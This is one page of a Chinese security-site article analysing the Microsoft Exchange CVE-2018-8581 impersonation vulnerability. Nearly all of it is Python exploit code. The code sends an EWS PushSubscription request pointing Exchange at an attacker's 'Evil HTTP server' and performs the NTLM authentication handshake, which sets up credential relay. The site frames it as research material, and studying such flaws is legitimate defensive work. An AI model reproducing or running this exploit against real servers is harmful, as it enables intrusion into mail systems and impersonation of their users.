欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Microsoft Exchange任意用户伪造漏洞分析(CVE-2018-8581)

来源:本站整理 作者:佚名 时间:2018-12-25 TAG: 我要投稿
     
       print "Sending 'PushSubscription' EWS request..."
     
       #SOAP request with URL pointing to our Evil HTTP server
       body = '''
  
     
  
  
     
        
                
          NewMailEvent
          ModifiedEvent
          MovedEvent
       
               1
               DesktopOutlook
               ''' +EVIL_HTTPSERVER_URL+'''
        
     
  
'''
     
       #Headers with NTLM NEGOTIATE
       ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN+"\\"+USER)
       headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
 
       #sending request and receiving response
       conn.request("POST", URL, body, headers)
       response = conn.getresponse()
       resp_data = response.read()
       if print_debug_info:
                     print "[DEBUG]: Received response:"
                     print response.status, response.reason, '\n',response.msg, '\n', resp_data
 
       if response.status == 401:
                   
                     print "\nGot 401 response with NTLM NONCE."
                     print "Trying authenticate current user..."
 
                     #Calculation of NTLM AUTHENTICATE response
                     Nonce = response.getheader("WWW-Authenticate")
                     (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
                     ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge,USER,DOMAIN,PASS,NegotiateFlags)
 
                     #Adding NTLM response in Authorization header
                     headers["Authorization"] = "NTLM " + ntlmresponce
 
                     #sending request and receiving response
                     conn.request("POST", URL, body, headers)
                     response = conn.getresponse()
                     resp_data = response.read()

上一页  [1] [2] [3] [4] [5] [6]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载